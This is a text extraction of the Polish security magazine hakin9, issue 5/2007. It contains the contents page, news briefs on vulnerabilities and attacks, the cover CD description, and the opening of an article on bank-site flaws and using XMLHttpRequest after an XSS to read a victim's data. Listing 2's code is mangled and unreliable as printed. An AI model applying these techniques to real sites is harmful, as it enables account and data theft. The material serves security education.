Hakin9 25 (05 2007) PL

www.hakin9.org

hakin9 Nr 5/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko...

Opis CD

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Atak

Hakowanie Nordea i PKO Inteligo

Michał Majchrowicz

Michał w swoim artykule przedstawia garść informa-

cji dotyczących błędów Blind SQL Injection oraz jak

obejść ograniczenia XMLHttpRequest.

XSS – Cross-Site Scripting

Paul Sebastian Ziegler

Paul w swoim artykule przedstawia, jak wstrzykiwać

kod w podatne na atak witryny i jak zabezpieczyć

strony przeciwko atakom XSS.

Obrona

Adaptacyjne techniki

– wykrywanie intruzów

Michał Styś

Michał za pomocą swojego artykułu wyjaśnia co to

jest system wykrywania anomalii i jak wykorzystać go

do zwiększenia bezpieczeństwa systemu komputero-

wego. Opisuje także jak skonfigurować samouczący

się system wykrywania anomalii.

Ochrona fizyczna zasobów IT

Andrzej Guzik

Andrzej przekazuje wiadomości, jak dobrać zabez-

pieczenia czynne (osobowe) i bierne (budowlano-

mechaniczne i elektroniczne) zasobów IT instytucji.

Ochrona fizyczna jest najstarszą metodą ochrony

zasobów materialnych i informacyjnych. Stanowi ona

pierwszą linię obrony instytucji przed zagrożeniami.

Witamy!

Wraz z nadejściem wiosny oddajemy w Wasze ręce piąty

w tym roku numer hakin9 – miesiecznik! Poruszyliśmy już

wiele absorbujących tematów i pragniemy, aby i ten numer

był równie interesujący jak pozostałe. W związku z Pań-

stwa zainteresowaniem dotyczącym luk w najpopularniej-

szych serwisach internetowych postanowiliśmy pociągnąć

ten temat. Tym razem nasz autor Michał Majchrowicz zain-

teresował się bankiem Nordea i PKO Inteligo oraz histo-

rią włamań do Urzędu Miasta Łodzi, Głównego Inspektora-

tu Ochrony Środowiska i Ministerstwa Środowiska. Majowe

wydanie Hakin9 będzie obfite w artykuły dotyczące inwili-

gacji pracowników. Polecamy także materiał dotyczący ada-

ptacyjnych technik wspomagających wykrywanie intruzów

oraz zdalnej kontroli komputera z przeglądarki z wykorzy-

staniem technologii JEE 5, gdzie materiały źródłowe nasi

czytelnicy będą mogli znaleźć na płycie CD dołączonej do

magazynu. Dodatkowo CD zawiera 29 tutoriali i programy:

Novell SecureLogin, AntiSpyware, a-squared Anti-Malware

oraz Intelli HyperSpeed 2005.

Życzymy przyjemnej lektury!

Redakcja Hakin9

www.hakin9.org

hakin9 Nr 5/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Active Directory

– delegowanie uprawnień

Paweł Baszkowski

Autor przekazuje wiadomości dotyczące Active

Directory oraz sposobu delegowania uprawnień w

AD i definiowania roli administratora.

Okiem wielkiego brata – inwigilacja

pracowników w firmie

Rafał Podsiadły

Rafał pragnie przekazać informacje, jak rozpoznać

inwigilowany komputer, jak przeprowadzić inwigilacje

oraz jak się przed nią zabezpieczyć.

Odzyskiwanie danych

z systemu Windows

Artur Żarski

Artur pragnie zapoznać czytelnika z aspektami sys-

temów plików w Windows oraz z kluczowymi aspek-

tami ich bezpieczeństwa w kontekście utraty danych.

Dodatkowo tekst opisuje podstawowe struktury danych

na dysku w różnych formatach oraz jak je archiwizo-

wać i odzyskiwać w przypadku uszkodzenia.

Narzędzia

JEE5 – zdalna kontrola

komputera

Błażej Lutkowski, Jacek Matulewski

Błażej i Jacek przedstawiają w swoim artykule w

jaki sposób napisać prostą aplikację klient – serwer,

pozwalającą na kontrolowanie zdalnego komputera

poprzez przeglądarkę internetową.

Łagodne wprowadzenie do kryptolo-

gii, czyli przygody Alicji i Bobka

Cezary G. Cerekwicki

Autor w swoim artykule przedstawia jak działa jeden z

najstarszych używanych do dzisiaj algorytmów krypto-

graficznych, pokazuje jak można ten algorytm złamać,

używając wybranych metod kryptoanalitycznych.

Księgozbiór

Recenzujemy książki: Wojna informacyjna i bezpie-

czeństwo informacji, Wojna strategiczna w cyber-

przestrzeni oraz Rewolucja w kryptografii.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Asystent redaktora: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Radosław Domański, Marcin

Kulawianek, Mateusz Lipiński, Damian Wędrocha, Borys Łącki

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

Skład i łamanie: Sławomir Zadrożny

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europejskich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 5/2007

www.hakin9.org

hakin9 Nr 5/2007

W skrócie

IE i FF mogą

kraść pliki z dysku

Luki w Internet Explorerze oraz Fire-

foksie mogą posłużyć do kradzie-

ży z dysków użytkowników plików z

danymi. Luka jest związana z funk-

cją uploadowania plików na serwe-

ry. Ofiara musi odwiedzić specjalnie

przygotowaną stronę oraz wpisać

wymagane znaki tworzące ścieżkę

dostępu do pliku – w dowolnej kolej-

ności, mogą być także przetyka-

ne innymi literami i cyframi – w pole

tekstowe. Dziura objawia się w Fire-

foksie (wersje 1.5 oraz 2.0) dla Win-

dows i systemów Unix (IE oczywi-

ście jest groźne pod Windows). W

sieci zostały opublikowane przy-

kładowe exploity, które po wpisa-

niu przez internautę odpowied-

niego zdania odczytują i wyświe-

tlają treść pliku boot.ini. Jak mówi

Michał Zalewski, odkrywca luki w FF

i twórca exploitów, dziura w Firefok-

sie to wariacja błędu zgłoszonego

do Bugzilli już w 2000 roku.

Krytyczny błąd

w Extreme-fusion!

Extreme-fusion i PHP-fusion to naj-

popularniejsze na świecie syste-

my zarządzania treścią, uznawa-

ne za jedne z najbardziej funkcjo-

nalnych i bezpiecznych. Ale czy tak

jest na pewno. rust rabbit i Sweet

wykryli krytyczny błąd, który pozwa-

la na przejęcie całkowitej kontroli

nad portalem.

Błąd znajdował się w pliku sub-

mit.php. Luka związana była z bra-

kiem odpowiednich zabezpie-

czeń przy dodawaniu treści przez

użytkownika. Napastnik bez pro-

blemów może wprowadzić na

serwer w żaden sposób nie pre-

parowane pliki, zawierające zło-

śliwy kod, co w efekcie pozwala

przejąć pełną kontrole nad porta-

lem i bazą danych, a w skrajnych

przypadkach nawet nad serwe-

rem, na którym znajduje się strona.

Kod jest na tyle groźny, że pozwa-

la crackerowi zniszczyć zawar-

tość portalu w przeciągu kilku

minut. Wykorzystując lukę można

uzyskać dostęp do bazy danych

w ciągu 5 sekund!!! I to nie żart.

Dodatkowo ataki tą metodą są cał-

kowicie niewykrywalne.

Poprawka eliminująca błąd napi-

sana przez Sweet'a jest dostępna

na stronie http://hack.pl/labs/EF_

update(4.04).zip. Wszystkim użyt-

kownikom fusiona zaleca się doko-

nanie aktualizacji.

Ukradli Ci laptopa? Zapłacisz karę!

nia 14 lutego jeden z najwięk-
szych brytyjskich dostawców

usług finansowych, oferujących usługi
bankowe oraz inne usługi finansowe,
a w szczególności długoterminowe
kredyty mieszkaniowe, został ukara-
ny przez FSA (ang. Financial Servi-

ces Authority – odpowiednik polskiej
Komisji Nadzoru Bankowego) man-
datem w wysokości 980 000 funtów
brytyjskich (około 5 693 000 PLN) za

brak efektywnego systemu i narzędzi

kontroli w dziedzinie zarządzania bez-

pieczeństwem informacji.

Nationwide – bo o nim właśnie

mowa – będący największą brytyj-
ską instytucją zajmującą sie kredy-
tami mieszkaniowymi, został uka-
rany za utratę laptopa zawierające-
go dane swoich klientów (ilu klientów
tego nie podano). Niemniej jednak
do wszystkich klientów (11 mln osób)
wysłano listy z przeprosinami za
zaistniałą sytuację i zapewniono o

poprawnym zabezpieczeniu danych
znajdujących się na skradzionym
laptopie.

Laptop został skradziony w sierp-

niu 2006r. z domu jednego z pra-
cowników firmy, podczas gdy ten był
na wakacjach. Informacje o klien-
tach były używane przez pracownika
w celach marketingowych. Ponadto
firma przyznała, że nie podjęła żad-
nych działań przez pierwsze 3 tygo-
dnie po odkryciu kradzieży.

Oszuści przejmowali dane Super Sprzedawców

na Allegro

olicjanci z Wydziału do Walki
z Przestępczością Gospodar-

czą Komendy Wojewódzkiej Poli-
cji w Łodzi dzięki stałej współpracy
z działem bezpieczeństwa znanego
portalu zatrzymali oszustów inter-
netowych. Już cztery godziny po
ostatnim włamaniu łódzcy policjan-
ci ustalili miejsce pobytu hakerów.

Zatrzymali ich w Legionowie

w kawiarence internetowej w czasie,
kiedy surfowali w Sieci usiłując
przejąć kolejne konto użytkownika
portalu. Dwaj mężczyźni w wieku
24 lat z województwa mazowieckie-
go byli już wcześniej notowani przez
policję.

Jeden z nich jest znanym w śro-

dowisku hakerem, który był karany
za przestępstwa internetowe. Męż-
czyźni za pomocą specjalnego pro-
gramu komputerowego przejmowa-
li tożsamość internetową m.in. tzw.

Super Sprzedawców.

Sprawcy włamując się przejmo-

wali całą tożsamość: nazwę, adres,
opinie, konta oraz hasła dostę-
pu. Dzięki takiej operacji byli nie do
odróżnienia od autentycznych sprze-
dawców. Po przejęciu tożsamości
zawierali fikcyjne transakcje inter-
netowe bazując na dotychczasowym
zaufaniu internautów do sprzedaw-
ców, a wpływy z tych gównie hur-
towych operacji kierowali na własne
konta. Tym sposobem oszuści dzia-
łali na szkodę klientów, ale przede
wszystkim sprzedawców, którym ruj-
nowali opinie, a tym samym wyklu-
czali z rynku.

Jak wynika z dotychczasowych

ustaleń podszyli się pod 16 sprze-
dawców i wyłudzili co najmniej
56.000 zł. Policjanci zabezpieczy-
li cztery dyski twarde komputerów
używanych przez hakerów. Trwają
czynności wyjaśniające w tej roz-
wojowej sprawie.

W skrócie

hakin9 Nr 5/2007

www.hakin9.org

hakin9 Nr 5/2007

W skrócie

McAfee SiteAdvisor

McAfee wydało nowe narzędzie

SiteAdvisor, które pomaga w bez-

piecznym przeszukiwaniu i prze-

glądaniu stron internetowych,

oferuje ochronę przed phishin-

giem. Komputery użytkowników,

którzy zainstalują bezpłatnie udo-

stępnione oprogramowanie Site-

Advisor, otrzymają zaawanso-

waną zaporę anty-phishingo-

wą, pracującą w czasie rzeczywi-

stym. Nowe zabezpieczenie łączy

w sobie białe listy, czarne listy i

heurystyki, aby jak najwcześniej

ostrzegać użytkowników przed

fałszywymi stronami mogącymi

zagrażać bezpieczeństwu ich toż-

samości. Według Anti-Phishing

Working Group tylko w okresie od

października 2005 do października

2006, liczba ataków phisingowych

przeprowadzonych za pomocą

stron WWW, wzrosła o 75%.

Poważna luka

w User Account Control

Joanna Rutkowska wykry-

ła poważną lukę projektową w

Microsoft Vista. Błąd znajduje się

mechanizmie User Account Con-

trol, który odpowiedzialny jest

za zmniejszenie pola ataku oraz

pomoc w zapobieganiu i informo-

waniu nas o próbach nieautoryzo-

wanych zmian w systemie, które

bez naszej wiedzy mogłyby zostać

wprowadzone przez wszelkiego

rodzaju malware.

Joanna wykryła, że w nowym

systemie Microsoftu UAC auto-

matycznie nadaje każdemu pro-

gramowi instalacyjnemu upraw-

nienia administratora – niezależ-

nie od tego, czy użytkownik chce

zainstalować pakiet biurowy, czy

też inny program. UPC rozpo-

znaje instalatory między innymi

po nazwie setup. Każdy program

uruchomiony z uprawnieniami

administratora będzie miał dostęp

np. do ładowania modułów jądra

systemu.

Duży atak na serwery DNS

nia 6 lutego miał miejsce naj-
większy od 2002 roku atak na

13 głównych internetowych serwe-
rów nazw (tzw. root serwery). Ata-
kującym udało się przeszkodzić
w pracy dwóch maszyn. Użytkow-
nicy nie odczuli problemów z dzia-
łaniem Sieci, ale przedstawiciele

ICANN przyznają, że była to dla
nich ciężka noc.

Root serwery to komputery kie-

rujące na co dzień ruchem w inter-
necie. Nie wiedząc o tym, często się
z nimi kontaktujemy. To one prze-
chowują zaaprobowane przez rząd
amerykański listy domen takich jak
choćby .COM. Również one tłuma-
czą nazwy wpisywanych do prze-
glądarki adresów w postaci tekstu
na adresy numeryczne.

Atak DDoS na te komputery

rozpoczął się 5 lutego wieczorem
i trwał prawie 12 godzin. Ben Petro
z firmy Neustar domyśla się, że do
jego użycia wykorzystano botnet,
czyli sieć osobistych komputerów
kontrolowanych przez cyberprze-
stępców.

W czasie ataku ucierpiały dwie

maszyny należące do amerykańskie-
go Departamentu Obrony i ICANN.
Zaczęły się one zawieszać pod wpły-
wem przeciążenia spowodowanego

napływem niepotrzebnych informacji.
Mimo to ani na chwilę nie było przerw
w działaniu Internetu.

Zdaniem specjalistów atak nie

miał bardzo dużej mocy, ale z pew-
nością był skierowany właśnie na
root serwery. John Crain z ICANN
mówi, że jak na razie bardzo trudno
ustalić jego źródło i prawdziwy cel.
W tej chwili wydaje się, ze celem
ataku miała być firma UltraDNS,
która operuje serwerami zarządza-
jącymi ruchem m. in. do stron, któ-
rych adresy kończą się końców-
ką .org.

Porozmawiaj ze mną...

indows Vista posiada wbudo-
wany system rozpoznawania

głosu. Nie tylko wbudowany ale rów-
nież domyślnie włączony! Nie trudno
się domyślić, że tak daleko posunię-
te zaufanie to (dosłownie) proszenie
się o problemy.

Okazuje się, że taka konfigu-

racja stwarza kolejne zagrożenie.
Pomysł sam w sobie jest bajecz-
nie prosty – wystarczy nagrać plik
audio z sekwencją poleceń a póź-
niej odtworzyć go tak, aby mikro-
fon słyszał odtwarzane nagranie.

Ponieważ system rozpozna-

wania głosu umożliwia uruchomie-
nie dowolnej aplikacji (włączając to

pobranie jej wcześniej z Internetu),
wirtualnie możliwe jest przeprowa-
dzenie praktycznie dowolnego ataku.
Przy odpowiednio spreparowanym
nagraniu teoretycznie możliwe jest
stworzenie robaka, który będzie się
sam rozsyłał, a nawet infekował inne
komputery (na przykład w sali z kil-
koma maszynami zareagować może
więcej niż jedna).

Podobny problem wystąpił w

MacOS (około 15 lat temu) – można
było dla zabawy wyłączyć kompu-
ter koledze (nawet jeśli na nim pra-
cował) poprzez wydanie odpowied-
niego polecenia.

hakin9.live

hakin9 Nr 5/2007

www.hakin9.org

Na dołączonej do pisma płycie znajduje się hakin9.live
(h9l) w wersji 3.2.2-aur – bootowalna dystrybucja Auroxa,
zawierająca przydatne narzędzia, dokumentację, tutoria-
le i materiały dodatkowe do artykułów. Aby zacząć pra-
cę z hakin9.live, wystarczy uruchomić komputer z CD. Po
uruchomieniu systemu możemy zalogować się jako użyt-
kownik hakin9 bez podawania hasła.

Materiały dodatkowe zostały umieszczone

w następujących katalogach:

• 29 tutoriali – w tym jeden nowy:
Metasploit – Exploiting framework;
• Aurox-Live;
• materiał uzupełniający do artykułu Zdalna kontrola

komputera z przeglądarki z wykorzystaniem techno-

logii JEE 5.

Programy:

• Novell SecureLogin 6.0.1;
• AntiSpyware by Ashampoo;
• a-squared Anti-Malware by EmsiSoft;
• Intelli HyperSpeed 2005 by Iobit.

Żeby uruchomić swój komputer z płyty Hakin9.live,
ustaw swój BIOS na bootowanie z napędu CD-ROM.
Po dokonanych zmianach uruchom ponownie kompu-
ter. Uruchomi się dystrybucja hakin.live, na której mo-
żesz przećwiczyć techniki prezentowane w tutorialach.
Upewnij się Drogi Czytelniku czy sprawdziłeś deskto-
powe foldery – zawierają wiele dodatkowych materia-
łów. Zawartość CD można również przejrzeć w syste-
mie Windows.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla
Linuksa stron pomocy (strona manualna), z których
skorzystać możemy poprzez konsolę wydając pole-
cenie man [nazwa programu], wchodzą między innymi
tutoriale, przygotowane przez redakcję. Na CD opra-
cowane zostały praktyczne ćwiczenia do jednego ar-
tykułu – Metasploit, który znajduje się Hakin9 4/2007.
Zakładamy, że podczas wykonywania ćwiczeń związa-
nych z artykułami i tutorialami, użytkownik korzysta z

hakin9.live. Na płycie znajdą się również materiały po-
mocnicze do artykułu Jacka Matulewskiego i Błażeja
Lutkowskiego Zdalna kontrola komputera z przeglądar-

ki z wykorzystaniem technologii JEE 5.

Zawartość CD

Novell SecureLogin

To rozwiązanie SSO do bezpiecznego i jednokrotnego
uwierzytelniania do wszystkich zasobów elektronicznych
w sieci (SSO – Single Sign – On). Program ten identyfi-
kuje w jakim czasie zachodzi logowanie oraz bezpiecznie
gromadzi informacje użytkownika w usłudze katalogowej.
SecureLogin zapewnia użytkownikom dostęp do aplika-
cji, narzędzi, danych, informacji poprzez jednokrotne logo-
wanie do firmowego katalogu. Program ten potrafi lokalnie
buforować zaszyfrowane hasła, więc użytkownicy niepod-
łączeni do sieci mogą korzystać z jednokrotnej autoryzacji.

Novell SecureLogin to wygodny dostęp dla użytkowników
i bezpieczeństwo zasobów. Gromadzone hasła i informa-
cje w systemie katalogowym są objęte dodatkową ochro-
ną – administratorzy mają możliwość kasowania haseł, ale
nie są w stanie na ich odczytanie lub przejęcie przez zmia-
nę hasła do firmowego katalogu. Oprogramowanie można
uruchomić w oparciu o Microsoft Active Directory, Novell
eDirectory lub usługi katalogowe zgodne z LDAP v3.

Novell SecureLogin dodatkowo zapewnia:

• centralną administrację systemem i konfiguracją na

stacjach roboczych;

• wykorzystanie szyfrowania AES jak również szyfro-

wanie sekretów za pomocą PKI;

• wspomaganie aplikacji Java i apletów Swing i AWT

– based Java;

• blokowanie stacji, zamykanie aplikacji i wylogowanie

użytkownika w zależności od zastosowanych reguł;

• wspomaganie zaawansowanych metod uwierzytel-

niania;

• wymuszanie polityki haseł o określanej charakterystyce;
• integrację z Smart Cards.

Rysunek 1.

Novell

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

hakin9.live

hakin9 Nr 5/2007

www.hakin9.org

AntiSpyware by Ashampoo

Aplikacja, która w znakomity sposób chroni komputer
użytkownika przed jakimikolwiek zagrożeniami z Inter-
netu. Jest znakomitym sposobem na ochronę przed nie-
chcianymi programami związanymi z przechwytywaniem
haseł oraz dialery, szpiegi, adware, wirusy, trojany i inne.
Częste aktualizacje i wysoka obsługa techniczna.

A-squared Anti-Malware by EmsiSoft

Od kilku lat austriacka firma Emsi Software GmbH jest
znana z produktów zabezpieczających. Chcemy przed-
stawić trzy z nich, oferujemy pełne wersje programów
czytelnikom.

A-squared Anti-Malware

Jest wiele produktów zabezpieczających, ale tylko nie-
które z nich mogą pretendować do zapewnienia efek-
tywnej ochrony przed wszystkimi typami zagrożeń.
Głównym powodem tego jest odwieczna walka po-
między hakerami a przemysłem bezpieczeństwa, co
można przyrównać do gry w kotka i myszkę. Normal-
ne oprogramowanie zabezpieczające jest ograniczone
przez fakt, iż zabezpiecza tylko przed rozpoznanymi
zagrożeniami.

To nie oznacza że uszkodzone oprogramowanie

całkowicie bazuje na podpisie, ale wygląda to jakby
tak było. To oznacza, że użytkownik będzie chronio-
ny przed tysiącami nowych trojanów, dialerów i rootki-
tów, które pojawiają się każdego dnia. Chronimy użyt-
kownika sześciomiesięczną pełną wersją a-squared
Anti-Malware poprzez kod:

doreye4058

Screenshot: http://www.emsisoft.com/images/en/a2pe/

securitystatus.jpg

A-squared free

Bezpieczeństwo nie jest uprzywilejowane. Według
motta, Emsi Software jest wolne od opłat dla prywat-
nego użytku. Jest to pełna wersja narzędzi do czysz-
czenia komputera użytkownika od zagrożeń. Wykry-
wa nie tylko spywery, ale i specjalne trojany, dialery
i wiele innych destruktywnych szkodników, które mo-
gą spowodować niebezpieczeństwo podczas surfowa-
nia po sieci. Porada: wersja testowa na stronie http://

malwarescan.emsisoft.com/.

Funkcjonalność jest taka sama, ale odpowiednia jest

niekonwencjonalna instalacja.

Screenshot: http://www.emsisoft.com/images/en/a2fr/

scantype.jpg.

A-squared HiJackFree

A-squared HiJackFree jest systemem analizującym na-
rzędzia, które pomagają zaawansowanym użytkownikom
wykryć i usunąć wszytskie typy hiJackers, spyware, ad-
ware, trojany. Windows bazuje na PC HiJackFree i jest
częścią rozwiązań a-squared Anti-malware.

Screenshot: http://www.hijackfree.de/images/en/

autoruns.jpg

Intelli HyperSpeed 2005 by Iobit

Intelli HyperSpeed jest niezwykła aplikacją pozwala-
jącą na szeroką optymalizację systemu operacyjne-
go i dokładne zoptymalizowanie jego działania na po-
trzeby gier, multimediów czy też potężnych obliczeń
matematycznych.

Rysunek 3.

Scantype

Rysunek 4.

Security status

Rysunek 2.

Autoruns

www.hakin9.org

hakin9 Nr 5/2007

Atak

est ona nie tylko klientem HTTP, HTTPS i
FTP, ale umożliwia też korzystanie z IRC
oraz może służyć (za pomocą np. rozsze-

rzeń) jako platforma do gier internetowych. Nie-
stety, rozwój taki ma miejsce również po drugiej
stronie barykady i nowe funkcjonalności często
bywają wykorzystywane przeciwko użytkowni-
kom i administratorom.

Każdy kij ma dwa końce

– XMLHttpRequest

Mniej więcej trzy lata temu (1 kwietnia 2004)
świat obiegła informacja o stworzeniu przez
Google serwisu webmail – Gmail. Na począt-
ku potraktowano to jako primaaprilisowy żart.
Pojawiły się nawet sugestie, iż firma niedługo
przeprowadzi ekspedycję na księżyc. Oczy-
wiście tego typu komentarze szybko ustąpiły
miejsca rzeczowym ocenom projektu, a Gma-
il stał się jednym z najczęściej używanych ser-
wisów webmail na świecie. Można się doszu-
kiwać dwóch przyczyn jego popularności.
Przede wszystkim, po raz pierwszy w historii,
użytkownicy nie musieli już kasować swoich e
– maili. Mieli początkowo do dyspozycji 1 GB
miejsca na korespondencję (obecnie 2.8 GB),
co pozwalało praktycznie zapomnieć o istnie-

niu guzika usuń. Po drugie wprowadzono rewo-
lucyjny interfejs. To właśnie w nim po raz pierw-
szy pokazano, jak użyteczny na szeroką ska-
lę może być jeden mały obiekt – XMLHttpRe-
quest. Tak właśnie rozpoczęła się era techno-
logii AJAX.

AJAX (ang. Asynchronous JavaScript and

XML), asynchroniczny JavaScript i XML – nie
jest technologią samą w sobie, lecz terminem
określającym nowe podejście do wykorzysta-
nia dotychczasowych technologii w połączeniu,
wliczając w to: HTML lub XHTML, kaskadowe
arkusze stylów, JavaScript, obiektowy model
dokumentu, XML, XSLT oraz XMLHttpRequ-
est. Kiedy te technologie zostaną wykorzysta-
ne razem w ramach modelu AJAX, aplikacje
sieciowe będą w stanie dokonywać szybkich,

Luki w serwisach

Nordea i PKO Inteligo

Michał Majchrowicz

stopień trudności

Od kilku lat mamy doczynienia ze znaczącym rozwojem

technologii internetowych. Obecnie przeglądarka staje się

uniwersalnym narzędziem do poruszania się po Sieci.

Z artykułu dowiesz się

• jak obejść ograniczenia XMLHttpRequest,
• co to są błędy Blind SQL Injection.

Powinieneś wiedzieć

• znać podstawy technologii AJAX i języka SQL.

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

przyrostowych aktualizacji w interfej-
sie użytkownika bez potrzeby prze-
ładowywania całej strony w przeglą-
darce. To sprawia, że aplikacja wy-
daje się być szybsza i lepiej reagu-
je na akcje użytkownika. Jak widzi-
my, kluczem do technologi AJAX jest
obiekt XMLHttpRequest. Nie jest to,
jak można by sądzić, jakaś magiczna
skrzynka, dzięki której strony nagle
wyglądają ładniej. Zatem cóż to ta-
kiego? XMLHttpRequest (XHR) jest
zbiorem programistycznych interfej-

sów aplikacyjnych, które mogą być
używane przez JavaScript, JScript,
VBScript oraz inne języki skryptowe
przeglądarek internetowych do prze-
kazywania XML lub innych danych
do oraz z serwera internetowego,
używając protokołu HTTP. XMLHt-
tpRequest było pierwotnie stworzo-
ne przez Microsoft, jako część usłu-
gi OWA (Outlook Web Access) 2000.
Implementacja Microsoftu nazy-
wa się XMLHTTP. Wykorzystywana
jest w Internet Explorerze, poczyna-

jąc od wersji 5.0 i jest dostępna po-
przez JScript, VBScript i inne języ-
ki skryptowe obsługiwane przez IE.
Pierwsza natywna implementacja
XMLHttpRequest została włączo-
na przez Mozillę do Mozilla Appli-
cation Suite 1.0 w 2002 roku. Imple-
mentacja ta była potem obsługiwa-
na przez Apple w Safari 1.2, Konqu-
eror, Opera Software (od Opery 8.0)
i iCab (od wersji 3.0b352). Konsor-
cjum World Wide Web opublikowa-
ło szkic (Working Draft) specyfika-
cji obiektu XMLHttpRequest 5 Kwiet-
nia 2006 roku. Jest ona ciągle opra-
cowywana, a jej cel polega na tym,
by dokumentować minimalny zestaw
wspólnych cech istniejących imple-
mentacji, umożliwiając tworzenie ko-
du bez oddzielnych bloków tekstu dla
różnych platform. Szkicowa specyfi-
kacja jest bazowana na implementa-
cjach popularnych przeglądarek, aby
zapewnić przenośność kodu. Dzięki
tej garści wiadomości łatwo można
zrozumieć rolę, jaką odegrała firma
Google w rozwoju technologii AJAX.
Mimo że obiekt XMLHttpRequest był
już obsługiwany przez przeglądar-
ki z rodziny Gecko i Internet Explo-
rera, to programiści Opery cały czas
zwlekali z jego implementacją. Po-
wód był prosty, a ta historia przypo-
mina dzieje CSS. Chociaż były one
dostępne, przez długi czas przeglą-
darki ich nie obsługiwały. Zmieniło
się to w chwili, gdy użytkownicy In-
ternetu zaczęli zmieniać przeglądar-
ki (sam przesiadłem się z Opery na
Mozilla Firefox), by móc korzystać z
serwisów wymagających technologii
AJAX. Gdy otrzymałem zaproszenie
do Gmaila, był to jeszcze projekt za-
mknięty. Dostęp do niego mieli jedy-
nie ci użytkownicy, którzy zarejestro-
wali się pierwszego dnia. W tym mo-
mencie uzyskali oni możliwość wy-
słania zaproszeń, przy czym jedynie
do trzech osób i na pewnych warun-
kach. Miałem szczęście otrzymać
jedno z nich. Pamiętam jaki byłem
zaskoczony, zawiedziony i wściekły,
gdy przy pierwszej próbie logowania
do Gmaila dowiedziałem się, że nie
mogę z niego korzystać,ponieważ
moja przeglądarka nie jest z nim w
pełni kompatybilna.

Listing 1.

Przykładowa strona internetowa

<?xml version="1.0" encoding="iso-8859-2"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-PL">
<head>
<meta http-equiv="Content-type" content="text/html; charset=iso-8859-2" />
<meta http-equiv="Content-Language" content="pl" />
<title> My test page 1</title>
<script src="http://sectroyer.110mb.com/normal.js" type="text/javascript">
</script>
<script src="http://sectroyer.110mb.com/myxmlhttprequest.js"
type="text/javascript">
</script>
</head>

<body>
<div style="color: green; text-align: center;">My test 1</div>
<p>
<a href="http://validator.w3.org/check?uri=referer">
<img src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" />
</a>
</p>
<script src="http://sectroyer.110mb.com/abnormal.js" type="text/

javascript">

</script>
</body>
</html>

Listing 2.

Plik normal.js

(window.XMLHttpRequest)

req

new

XMLHttpRequest()

;

else

req

new

ActiveXObject(

"Microsoft.XMLHTTP"

)

;

function

callback

()

{

(req.readyState

)

{

alert

(req.responseText)

;

}

req.onreadystatechange

callback

;

req.

open

(

"GET"

"/"

,true)

;

req.send(null)

;

hakin9 Nr 5/2007

www.hakin9.org

Atak

Spójrzmy jednak na ten obiekt

ze strony atakującego. Dotychczas
możliwości ataku za pomocą kodu
JavaScript były ograniczone. Moż-
na było jedynie przekazywać nie-
które parametry do witryny poprzez
GET (np. ładując obiekt IMG). Agre-
sor nie miał też żadnej możliwo-

ści pobierania wyniku swojej opera-
cji. Innymi słowy, korzystając z lu-
ki XSS w jakimś serwisie poczto-
wym mógł on jedynie pobrać dane
znajdujące się w ciasteczkach i tre-
ści strony, ale wykonanie np. zapy-
tania index.php?action=pokaz_da-

ne i uzyskanie jego rezultatów było

poza jego zasięgiem. Korzystanie z
XMLHttpRequest takie ograniczenia
likwiduje. Haker może wykonać wie-
le operacji i użytkownik nie będzie
